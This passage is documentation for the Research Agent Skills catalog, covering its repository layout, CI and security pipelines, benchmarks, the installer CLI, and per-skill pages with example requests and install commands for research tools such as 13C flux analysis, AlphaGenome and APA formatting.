[Skills by field](/research-agent-skills/guides/by-field): 100+ databases and analysis packages | | A librarian or research-software engineer | `reference-manager-interop`, `paper-corpus-rag`, `research-knowledge-graph`, `research-skill-creator` | ## What makes it different * **No AI slop.** `unslop-academic-writing` finds stock phrasing, empty emphasis, stacked hedges and monotone rhythm, then rewrites toward specific, evidence-backed prose in your own voice. [How it works](/research-agent-skills/guides/no-slop-academic-writing) * **No hallucinated citations.** `citation-verification` checks every reference against Crossref, OpenAlex and arXiv. On our labeled benchmark it flags every fabricated and corrupted reference ([results](/research-agent-skills/reference/benchmarks)). * **Current venue rules, not remembered ones.** Journal skills make the agent read the current author guidelines before formatting. * **Measured.** Every skill receives a static quality score. Reviewed prompt sets test trigger routing; selected skills have with-vs-without-skill task evaluations. [Benchmarks](/research-agent-skills/reference/benchmarks) * **Secure.** Every file is scanned for prompt injection and malicious code, and releases are checksummed, signed and attested. [Install Research Agent Skills](/research-agent-skills/getting-started/installation) · [Browse all skills](/research-agent-skills/skills) # Architecture | Research Agent Skills Source: https://docs.kalarislabs.com/research-agent-skills/reference/architecture How the Research Agent Skills repository is organized, covering skill layout, generated manifests, tooling, CI pipelines, the installer and release flow. # Architecture ## Repository layout ```text theme={"system"} KalarisLabs/research-agent-skills/ ├── skills// # one folder per skill (flat, name == folder) │ ├── SKILL.md # frontmatter (Agent Skills spec) + instructions, ≤ 500 lines │ ├── references/ # long-form material loaded on demand │ ├── scripts/ # tested, standard-library-first CLIs the agent runs │ └── assets/ templates/ # templates, schemas, examples ├── evals//evals.json # trigger and task prompts (kept out of installed skills) ├── benchmarks/ # citation, slop and task-outcome benchmarks + committed results ├── catalog/ # GENERATED: skills.json, graph.json/.graphml, lists/*.txt ├── .claude-plugin/marketplace.json# GENERATED: Claude Code marketplace (bundles + categories) ├── plugin.json # GENERATED: Agent Plugins manifest (Codex, Cursor, Copilot, gh skill) ├── llms.txt # GENERATED: machine-readable index for AI search and agents ├── cli/ # installer CLI (TypeScript, zero runtime deps; not published to npm) ├── install.sh / install.ps1 # checksum-verified installers without Node.js ├── tools/ # Python tooling (validate, lint, catalog, quality, trigger bench, import) ├── third_party/ # categories, adapted-skill provenance, patches, import configuration ├── security/ # network allowlist, reviewed-finding baselines ├── tests/ # pytest: tooling, skill scripts, quality gates ├── docs/ # MkDocs site (guides, reference; per-skill pages generated) └── .github/ # CI workflows, issue/PR templates, CODEOWNERS, Dependabot ``` ## Data flow ```mermaid theme={"system"} flowchart LR S[skills/*/SKILL.md] --> V[tools/validate.py] S --> L[tools/lint_injection.py] S --> Q[tools/skill_quality.py] S --> C[tools/build_catalog.py] E[evals/*/evals.json] --> T[tools/trigger_bench.py] E --> K[benchmarks/task_evals] C --> M[marketplace.json / plugin.json] C --> G[catalog/*.json, lists] C --> R[README catalog, llms.txt, docs pages] G --> CLI[install.sh / install.ps1] M --> CC[Claude Code marketplace] S --> SK[npx skills / gh skill] ``` ## Principles 1. **Skills are the product.** Everything else validates, packages or distributes them. 2. **One source of truth.** Manifests, catalog, notices, README tables, `llms.txt` and docs pages are generated from `skills/` and `third_party/`, and CI fails if any is stale (`tools/build_catalog.py --check`). 3. **Spec-first portability.** Only Agent Skills spec fields at the top level of frontmatter, so every harness can load every skill. 4. **Deterministic code for deterministic work.** Parsing, validation and conversion live in tested scripts, not in prose. 5. **Defense in depth.** Validation, injection lint, third-party scanner, code scanning, a network allowlist, signed releases and install-time hashes. 6. **Measured quality.** Static rubric → trigger routing → task outcomes (see [Benchmarks](/research-agent-skills/reference/benchmarks)). ## CI pipelines | Workflow | Runs on | Purpose | | - | - | - | | `validate.yml` | PR, main | Spec, policy, `skills-ref`, generated files, brand guard, reproducible import, harness compatibility | | `skill-security.yml` | PR, main, weekly | Injection lint (SARIF), Cisco skill-scanner gate | | `code-security.yml` | PR, main, weekly | CodeQL, Semgrep, Bandit, Ruff, ShellCheck, PSScriptAnalyzer, zizmor, actionlint | | `supply-chain.yml` | PR, main, daily | TruffleHog, dependency review, pip-audit, npm audit, OSV-Scanner | | `test.yml` | PR, main | pytest (3 OS × 3 Python), CLI (3 OS × 4 Node), installer end-to-end | | `benchmarks.yml` | PR, weekly, manual | Quality rubric and trigger gates; citation benchmark; paid model benchmarks on demand | | `release.yml` | tag `v*` | Verify, build tarball + SHA256SUMS, attest, sign, GitHub release, npm publish with provenance (no package exists yet: the CLI is not on npm) | | `docs.yml`, `links.yml`, `scorecard.yml` | main / weekly | Docs site, dead links, OpenSSF Scorecard | ## Adapted vs original skills Adapted skills come from MIT-licensed upstream projects at pinned revisions (`third_party/sources.yaml`) and are normalized by `tools/import_upstream.py` + `tools/rebrand.py`. Fixes live in `third_party/patches/`, so re-imports keep them. Original skills are written in this repository. The catalog marks each skill's `origin`, and notices are generated in `THIRD_PARTY_NOTICES.md`. # Benchmarks and skill quality | Research Agent Skills Source: https://docs.kalarislabs.com/research-agent-skills/reference/benchmarks How research agent skills are evaluated, covering the static quality rubric, trigger-routing benchmark, with-vs-without-skill task outcomes, citation verification precision and recall, and the no-slop writing benchmark. We evaluate whether a skill is clear, selected for the right requests, and improves the resulting work. | Check | What it measures | Command | | - | - | - | | Static quality | Structure, triggers, workflow detail, examples and references | `uv run tools/skill_quality.py` | | Trigger routing | Whether the right skill appears for a task and stays out of near misses | `uv run tools/trigger_bench.py` | | Task outcomes | Blind comparison of answers with and without a skill | `benchmarks/task_evals/run.py` | | Domain checks | Citation verification and writing revision behavior | `benchmarks/citation_verification/`, `benchmarks/slop/` | See the [benchmark methodology and current results](https://github.com/KalarisLabs/research-agent-skills/blob/main/benchmarks/README.md). The model based results are pilot measurements; read their sample sizes before citing them. # Installer CLI reference | Research Agent Skills Source: https://docs.kalarislabs.com/research-agent-skills/reference/cli Reference for the research-agent-skills installer CLI (built from source; not on npm), covering install, list, search, update, uninstall and doctor. > **Not on npm.** To install skills, use skills.sh: `npx skills add KalarisLabs/research-agent-skills` > ([installation guide](/research-agent-skills/getting-started/installation)). This page documents the optional installer in `cli/`, > which you can build from source with `cd cli && npm ci && npm run build`, then run as `node dist/bin.js`. The `research-agent-skills` CLI installs skills from a verified release into supported agent directories. The examples use `npx research-agent-skills`; when running from source, substitute `node cli/dist/bin.js`. | Command | Purpose | | - | - | | `install [skill...]` | Install named skills, a bundle, or a category | | `list --categories` | Show available categories | | `search ` | Find skills by name, description or tags | | `installed` | Show installed skills and target directories | | `update` | Reinstall managed skills from the selected release | | `uninstall [skill...]` | Remove managed skills | | `doctor` | Check harnesses, dependencies and installed file integrity | Without selection flags, `install` chooses `research-essentials`. Without `--project`, installation goes to the selected agent's global user directory. Use `--harness codex` (or a comma-separated list) to target specific agents. Use `--dry-run` to inspect changes before installing. ```bash theme={"system"} npx research-agent-skills install --bundle ai-research --harness codex --project npx research-agent-skills install citation-verification --dry-run ``` See the [full CLI README](https://github.com/KalarisLabs/research-agent-skills/blob/main/cli/README.md) for release and standalone installer details. # Security | Research Agent Skills Source: https://docs.kalarislabs.com/research-agent-skills/reference/security How Research Agent Skills protects users from prompt injection, malicious scripts and supply-chain attacks, and how to report vulnerabilities. Agent skills are instructions and code executed with your agent's permissions. The repository validates skill structure, file types and links, scans for prompt injection and suspicious scripts, and restricts script network domains. Release archives carry checksums for the repository's installers. Report a suspected vulnerability through [GitHub private vulnerability reporting](https://github.com/KalarisLabs/research-agent-skills/security/advisories/new). Include the affected skill, impact and reproduction steps. Read the [full security policy](https://github.com/KalarisLabs/research-agent-skills/blob/main/SECURITY.md) for supported versions and current controls. # 13c-metabolic-flux — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/13c-metabolic-flux Estimates intracellular metabolic fluxes from steady-state carbon-13 isotope-tracing measurements using validated atom maps, mfapy isotope simulation… # `13c-metabolic-flux` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** MIT · **Version:** 1.0 · **Includes scripts** **Tags:** 13C-MFA, metabolic flux analysis, isotope tracing, metabolomics, systems biology ## When to use it Estimates intracellular metabolic fluxes from steady-state carbon-13 isotope-tracing measurements using validated atom maps, mfapy isotope simulation, constrained multistart fitting, and flux-profile diagnostics. Use for 13C-MFA, carbon tracing, mass isotopomer distributions (MDVs/MIDs), positional isotopomers, parallel tracer experiments, and determining whether labeling data constrain a pathway flux. Distinguishes measured-label inference from COBRA flux balance analysis and flags experiments requiring nonstationary MFA. ## Example requests Ask your agent in plain language, for example: * *"Can I get fluxes from my 13C glucose labeling data? I have MIDs for a few amino acids."* * *"I'm working in E. coli on \[1,2-13C]glucose and \[U-13C]glucose parallel cultures, with corrected MDVs for alanine, serine and glutamate in dataset.json and model.json. Please run the contract check, then fit PPP vs glycolysis split with multistart and give me profile intervals. The fit residual is small but I want to know if the oxidative PPP flux is actually pinned down."* * *"We fed cells labeled substrate and measured how labeling in TCA intermediates changes over 0, 30, 60, 120 seconds. Can we average the timepoints and estimate pathway rates with your flux tool?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill 13c-metabolic-flux # GitHub CLI gh skill install KalarisLabs/research-agent-skills 13c-metabolic-flux ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`cobrapy`](/research-agent-skills/skills/cobrapy) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/13c-metabolic-flux/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # abstract-and-title — AI agent skill for research writing Source: https://docs.kalarislabs.com/research-agent-skills/skills/abstract-and-title Write and sharpen research paper titles, abstracts (structured and unstructured), keywords, highlights, significance statements, graphical-abstract text and… # `abstract-and-title` **Category:** [research-writing](/research-agent-skills/skills#research-writing) · **License:** MIT · **Version:** 1.0 **Tags:** abstract, title, keywords, highlights, significance statement, lay summary, scientific writing ## When to use it Write and sharpen research paper titles, abstracts (structured and unstructured), keywords, highlights, significance statements, graphical-abstract text and lay summaries. Use when drafting or revising an abstract to a word limit, turning results into a one-sentence contribution, choosing between candidate titles, writing Cell/Elsevier highlights, a PNAS significance statement or a plain-language summary, or optimizing discoverability (keywords, search terms). ## Example requests Ask your agent in plain language, for example: * *"Cut my 320-word abstract to 250 words for PLOS ONE and suggest three better titles."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill abstract-and-title # GitHub CLI gh skill install KalarisLabs/research-agent-skills abstract-and-title ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-writing` category with `/plugin install research-writing@research-agent-skills`. ## Related * [`cell-press`](/research-agent-skills/skills/cell-press) * [`cover-letter-to-editor`](/research-agent-skills/skills/cover-letter-to-editor) * [`ml-paper-writing`](/research-agent-skills/skills/ml-paper-writing) * [`nature-portfolio`](/research-agent-skills/skills/nature-portfolio) * [`scientific-slides`](/research-agent-skills/skills/scientific-slides) * [`scientific-writing`](/research-agent-skills/skills/scientific-writing) * [`venue-templates`](/research-agent-skills/skills/venue-templates) * [`elsevier-cas`](/research-agent-skills/skills/elsevier-cas) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/abstract-and-title/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # academic-plotting — AI agent skill for visualization and presentation Source: https://docs.kalarislabs.com/research-agent-skills/skills/academic-plotting Generates publication-quality figures for ML papers from research context. # `academic-plotting` **Category:** [visualization-and-presentation](/research-agent-skills/skills#visualization-and-presentation) · **License:** MIT · **Version:** 1.0.0 **Tags:** Academic Writing, Visualization, Matplotlib, Seaborn, Plotting, Figures, Diagrams, NeurIPS, ICML, ICLR, LaTeX ## When to use it Generates publication-quality figures for ML papers from research context. Given a paper section or description, extracts system components and relationships to generate architecture diagrams via Gemini. Given experiment results or data, auto-selects chart type and generates data-driven figures via matplotlib/seaborn. Use when creating any figure for a conference paper. ## Example requests Ask your agent in plain language, for example: * *"I need a figure for the overview section of my paper. Here's the method text: 'Our framework has a Retriever that fetches documents, a Reranker that scores them, and a Generator that writes the answer. If the Generator's confidence is low, it sends a query back to the Retriever.' Can you make the diagram?"* * *"Plot results.csv (columns: step, method, val\_loss, with 3 seeds each) as training curves for our ICML submission. 'ours' should stand out, and I need it to fit in a single column. Also the fonts look wrong when I include the PDF in LaTeX."* * *"Here are my numbers: GPT-4 gets 86.4 on MMLU and 67.0 on HumanEval, our model gets 88.1 and 71.2, Llama-3 gets 79.3 and 62.1. What's the best way to show this in the paper, and can you draw it?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill academic-plotting # GitHub CLI gh skill install KalarisLabs/research-agent-skills academic-plotting ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `visualization-and-presentation` category with `/plugin install visualization-and-presentation@research-agent-skills`. ## Related * [`latex-posters`](/research-agent-skills/skills/latex-posters) * [`ml-paper-writing`](/research-agent-skills/skills/ml-paper-writing) * [`scientific-schematics`](/research-agent-skills/skills/scientific-schematics) * [`scientific-visualization`](/research-agent-skills/skills/scientific-visualization) * [`infographics`](/research-agent-skills/skills/infographics) * [`markdown-mermaid-writing`](/research-agent-skills/skills/markdown-mermaid-writing) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/academic-plotting/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # acm-sigconf — AI agent skill for journal formats Source: https://docs.kalarislabs.com/research-agent-skills/skills/acm-sigconf Format ACM conference papers and journal articles with the acmart LaTeX class (sigconf, sigplan, acmsmall, acmlarge, acmtog, manuscript/review/anonymous… # `acm-sigconf` **Category:** [journal-formats](/research-agent-skills/skills#journal-formats) · **License:** MIT · **Version:** 1.0 **Tags:** ACM, acmart, sigconf, CHI, KDD, SIGGRAPH, TAPS, LaTeX, journal formatting ## When to use it Format ACM conference papers and journal articles with the acmart LaTeX class (sigconf, sigplan, acmsmall, acmlarge, acmtog, manuscript/review/anonymous modes) or the ACM Word template, covering CCS concepts, keywords, ACM Reference Format, rights management and copyright blocks, anonymization for double-blind review, accessibility (alt text), the TAPS production workflow and common acmart errors. Use when writing for CHI, SIGGRAPH, KDD, SIGMOD, CCS, FAccT, WWW, SIGIR, CSCW, PLDI or any ACM venue or journal. ## Example requests Ask your agent in plain language, for example: * *"Set up my CHI 2026 submission in acmart with anonymous review mode and CCS concepts."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill acm-sigconf # GitHub CLI gh skill install KalarisLabs/research-agent-skills acm-sigconf ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `journal-formats` category with `/plugin install journal-formats@research-agent-skills`. ## Related * [`arxiv-submission`](/research-agent-skills/skills/arxiv-submission) * [`bibtex-hygiene`](/research-agent-skills/skills/bibtex-hygiene) * [`ml-paper-writing`](/research-agent-skills/skills/ml-paper-writing) * [`rebuttal-and-response-to-reviewers`](/research-agent-skills/skills/rebuttal-and-response-to-reviewers) * [`scientific-visualization`](/research-agent-skills/skills/scientific-visualization) * [`venue-templates`](/research-agent-skills/skills/venue-templates) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/acm-sigconf/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # adaptyv — AI agent skill for chemistry and drug discovery Source: https://docs.kalarislabs.com/research-agent-skills/skills/adaptyv How to use the Adaptyv Bio Foundry API and Python SDK for protein experiment design, submission, and results retrieval. # `adaptyv` **Category:** [chemistry-and-drug-discovery](/research-agent-skills/skills#chemistry-and-drug-discovery) · **License:** MIT · **Version:** 1.3 **Tags:** protein engineering, binding assays, protein screening, lab automation, drug discovery ## When to use it How to use the Adaptyv Bio Foundry API and Python SDK for protein experiment design, submission, and results retrieval. Use this skill whenever the user mentions Adaptyv, Foundry API, protein binding assays, protein screening experiments, BLI/SPR assays, thermostability assays, or wants to submit protein sequences for experimental characterization. Also trigger when code imports `adaptyv`, `adaptyv_sdk`, or `FoundryClient`, or references `foundry-api-public.adaptyvbio.com`. ## Example requests Ask your agent in plain language, for example: * *"How do I submit a few sequences to a cloud lab to see if they bind my target? I'm using the Python SDK."* * *"I have binders.fasta with 48 designed nanobody sequences. I want KD values against my target using SPR, and I want the quote auto-accepted so nothing waits on me. My script has `from adaptyv_sdk import FoundryClient` and it's returning a 401. Can you fix the script and set up a webhook so I get notified on status changes?"* * *"I've designed 200 miniprotein binders computationally and want real wet-lab data on which ones actually express and how stable they are. Is there an automated lab service with an API where I can send the sequences and get melting temperatures and yields back, and how would I script that and poll for results?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill adaptyv # GitHub CLI gh skill install KalarisLabs/research-agent-skills adaptyv ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `chemistry-and-drug-discovery` category with `/plugin install chemistry-and-drug-discovery@research-agent-skills`. ## Related * [`ginkgo-cloud-lab`](/research-agent-skills/skills/ginkgo-cloud-lab) * [Skills for chemistry and drug discovery](/research-agent-skills/fields/chemistry) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/adaptyv/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # aeon — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/aeon This skill should be used for time series machine learning tasks including classification, regression, clustering, forecasting, anomaly detection… # `aeon` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** BSD-3-Clause license · **Version:** 1.1 **Tags:** time series, classification, forecasting, anomaly detection, machine learning ## When to use it This skill should be used for time series machine learning tasks including classification, regression, clustering, forecasting, anomaly detection, segmentation, and similarity search. Use when working with temporal data, sequential patterns, or time-indexed observations requiring specialized algorithms beyond standard ML approaches. Particularly suited for univariate and multivariate time series analysis with scikit-learn compatible APIs. ## Example requests Ask your agent in plain language, for example: * *"How do I train a fast classifier on my accelerometer windows? Shape is (500, 3, 128)."* * *"I have ECG recordings in ecg\_train.csv, with 1 row per beat, 140 columns for the samples and a final column for the label (normal or abnormal). I tried sklearn's RandomForest on the raw values and got about 70% accuracy. I'd like to try elastic-distance methods, and I got `ImportError: cannot import name 'ROCKETClassifier' from 'aeon.classification.convolution_based'`. Can you fix the import and compare 1-NN with DTW against a ROCKET-family model, using cross-validation?"* * *"I have a year of minute-level vibration readings from a turbine. I need to flag the odd stretches and also work out where the machine switched operating regimes. There are no labels. What approach would you take?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill aeon # GitHub CLI gh skill install KalarisLabs/research-agent-skills aeon ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [`crewai-multi-agent`](/research-agent-skills/skills/crewai-multi-agent) * [`scikit-learn`](/research-agent-skills/skills/scikit-learn) * [`timesfm-forecasting`](/research-agent-skills/skills/timesfm-forecasting) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/aeon/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # alphagenome — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/alphagenome Look up precomputed AlphaGenome Atlas effects for any GRCh38 single-nucleotide variant (AVI score with Phred and 18 SHAP feature attributions, plus raw and… # `alphagenome` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** MIT · **Version:** 1.0 · **Includes scripts** **Tags:** variant effect prediction, genomics, regulatory genomics, GRCh38, functional annotation ## When to use it Look up precomputed AlphaGenome Atlas effects for any GRCh38 single-nucleotide variant (AVI score with Phred and 18 SHAP feature attributions, plus raw and quantile scores for RNA-seq, DNase, ATAC, ChIP-TF, ChIP-histone, CAGE, PRO-cap, splicing, polyadenylation and contact-map tracks), score variants or scan windows on demand with the AlphaGenome model for human and mouse (variant scoring, in silico mutagenesis, REF-versus-ALT track prediction), and build Atlas website deep links. Use when the user mentions AlphaGenome, AlphaGenome Atlas, AVI or AlphaGenome Variant Impact, DeepMind variant effect prediction, or wants to prioritise or mechanistically interpret non-coding, regulatory, splicing, enhancer, promoter, or chromatin-accessibility effects of SNVs from a VCF, credible set, or region. Research use only; not a clinical tool. ## Example requests Ask your agent in plain language, for example: * *"What's the AlphaGenome AVI score for chr22:36201698:A>C?"* * *"I have a VCF, fine\_map\_credible\_set.vcf, with 40 SNVs from a lipid GWAS locus (hg38, intronic/intergenic). I want to know which are likely to alter enhancer activity in liver. Can you rank them and show me which tracks in HepG2 or liver drive the effect? I have an API key set in my environment, and I'm getting 'ValueError: API key not valid' on one machine."* * *"I've got a noncoding variant in a mouse mm10-lifted region and also a 3 bp deletion in human that I suspect disrupt a promoter. How can I predict what happens to expression and chromatin accessibility computationally with DeepMind's sequence-to-function model, comparing reference and mutant tracks?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill alphagenome # GitHub CLI gh skill install KalarisLabs/research-agent-skills alphagenome ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`database-lookup`](/research-agent-skills/skills/database-lookup) * [`folklore-variant-evidence`](/research-agent-skills/skills/folklore-variant-evidence) * [`genomic-coordinates`](/research-agent-skills/skills/genomic-coordinates) * [`genomic-intelligence`](/research-agent-skills/skills/genomic-intelligence) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/alphagenome/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # analytical-method-validation — AI agent skill for ideation and design Source: https://docs.kalarislabs.com/research-agent-skills/skills/analytical-method-validation Plans and evaluates analytical method validation, verification, and transfer using Python scripts (plan_validation, check_response, check_accuracy_precision… # `analytical-method-validation` **Category:** [ideation-and-design](/research-agent-skills/skills#ideation-and-design) · **License:** MIT · **Version:** 1.1 · **Includes scripts** **Tags:** method validation, ICH Q2, bioanalysis, analytical chemistry, quality control ## When to use it Plans and evaluates analytical method validation, verification, and transfer using Python scripts (plan\_validation, check\_response, check\_accuracy\_precision, check\_detection\_limits, check\_bioanalytical\_run, compare\_methods) under ICH Q2(R2)/Q14, ICH M10, USP 1220/1225/1226, CLSI EP, or ISO/IEC 17025. Covers protocols, linearity, accuracy and precision, DL/QL, M10 run checks, TOST equivalence, Deming and Passing-Bablok. Use when designing a validation protocol with pre-stated acceptance criteria. Use when evaluating linearity, precision, or detection limit data. Use when checking an ICH M10 bioanalytical run or ISR. Use when comparing or transferring a method between labs. Does not decide a method is validated; USP, CLSI, ISO text is not supplied. ## Example requests Ask your agent in plain language, for example: * *"I have linearity data for my HPLC assay, r² is 0.999. Is that enough to say the calibration is linear?"* * *"We're moving our LC-MS/MS plasma PK assay from our lab to a CRO. I have run results in runs\_batch3.csv with QC columns (level, nominal, measured) and I need to check whether batch 3 meets the guideline for a chromatographic assay, including the rule that each QC level has enough passing samples. Also, what's the right way to check incurred sample reanalysis?"* * *"Our QC lab is replacing an old HPLC method for an impurity with a faster UHPLC one. We ran 24 samples on both. A t-test gave p = 0.4 so my manager says they're the same. I'd like to defend the switch to auditors. How should I do this properly?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill analytical-method-validation # GitHub CLI gh skill install KalarisLabs/research-agent-skills analytical-method-validation ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ideation-and-design` category with `/plugin install ideation-and-design@research-agent-skills`. ## Related * [`iso-standards-readiness`](/research-agent-skills/skills/iso-standards-readiness) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/analytical-method-validation/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # anndata — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/anndata Data structure for annotated matrices in single-cell analysis. Use when working with .h5ad files or integrating with the scverse ecosystem. # `anndata` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** BSD-3-Clause license · **Version:** 1.2 **Tags:** single-cell, h5ad, scverse, bioinformatics, data formats ## When to use it Data structure for annotated matrices in single-cell analysis. Use when working with .h5ad files or integrating with the scverse ecosystem. This is the data format skill—for analysis workflows use scanpy; for probabilistic models use scvi-tools; for population-scale queries use cellxgene-census. ## Example requests Ask your agent in plain language, for example: * *"How do I read a .h5ad file in backed mode so it doesn't load into RAM?"* * *"I have three batches saved as batch1.h5ad, batch2.h5ad and batch3.h5ad with different gene panels. I ran `adata1.concatenate(adata2, adata3)` and got a FutureWarning, and the result is missing a lot of genes. How do I combine them properly, keep track of which batch each cell came from, and keep the union of genes?"* * *"I've got a cell-by-gene count matrix in a CSV, a separate table of cell metadata (donor, tissue, sequencing run), and a gene annotation table. I want to bundle everything into one object that I can slice by cell or gene and save as a single file for collaborators in the scverse ecosystem. How should I set that up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill anndata # GitHub CLI gh skill install KalarisLabs/research-agent-skills anndata ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`cellxgene-census`](/research-agent-skills/skills/cellxgene-census) * [`scvi-tools`](/research-agent-skills/skills/scvi-tools) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/anndata/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # apa7 — AI agent skill for journal formats Source: https://docs.kalarislabs.com/research-agent-skills/skills/apa7 Format papers, theses and references in APA Style 7th edition for psychology, education, social sciences, nursing and business, covering student vs… # `apa7` **Category:** [journal-formats](/research-agent-skills/skills#journal-formats) · **License:** MIT · **Version:** 1.0 **Tags:** APA 7, APA style, citations, references, psychology, social sciences, thesis formatting ## When to use it Format papers, theses and references in APA Style 7th edition for psychology, education, social sciences, nursing and business, covering student vs professional papers, title page, abstract and keywords, heading levels, in-text citations, reference list entries (journal articles, books, chapters, datasets, software, webpages, AI tools), tables and figures, bias-free language, and APA via LaTeX (apa7 class + biblatex-apa), Word or Pandoc/CSL. Use when a user needs APA format, APA citations or references, or an APA-compliant manuscript or thesis. ## Example requests Ask your agent in plain language, for example: * *"Convert my reference list to APA 7th edition and fix the heading levels in my thesis."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill apa7 # GitHub CLI gh skill install KalarisLabs/research-agent-skills apa7 ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `journal-formats` category with `/plugin install journal-formats@research-agent-skills`. ## Related * [`bibtex-hygiene`](/research-agent-skills/skills/bibtex-hygiene) * [`citation-verification`](/research-agent-skills/skills/citation-verification) * [`reference-manager-interop`](/research-agent-skills/skills/reference-manager-interop) * [`scientific-writing`](/research-agent-skills/skills/scientific-writing) * [`statistical-analysis`](/research-agent-skills/skills/statistical-analysis) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/apa7/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # ara-compiler — AI agent skill for research automation Source: https://docs.kalarislabs.com/research-agent-skills/skills/ara-compiler Compiles any research input — PDF papers, GitHub repositories, experiment logs, code directories, or raw notes — into a complete Agent-Native Research… # `ara-compiler` **Category:** [research-automation](/research-agent-skills/skills#research-automation) · **License:** MIT · **Version:** 1.0.0 **Tags:** ARA, Research Artifacts, Knowledge Extraction, Paper Ingestion, Exploration Graph, Provenance, Research Tooling, Epistemic Compilation ## When to use it Compiles any research input — PDF papers, GitHub repositories, experiment logs, code directories, or raw notes — into a complete Agent-Native Research Artifact (ARA) with cognitive layer (claims, concepts, heuristics), physical layer (configs, code stubs), exploration graph, and grounded evidence. Use when ingesting a paper or codebase into a structured, machine-executable knowledge package, building an ARA from scratch, or converting research outputs into a falsifiable, agent-traversable form. ## Example requests Ask your agent in plain language, for example: * *"Turn this paper into an ARA: \~/papers/lora\_scaling.pdf"* * *"I've got the repo at ./diffusion-protein-design (README, train.py, configs/sweep\_v3.yaml) plus a folder of wandb logs from our runs and a Slack export where we argued about why we dropped the contact-map loss. Compile all of it into a structured, agent-traversable knowledge package in ./ara/protein, and make the dead ends explicit."* * *"My advisor wants our 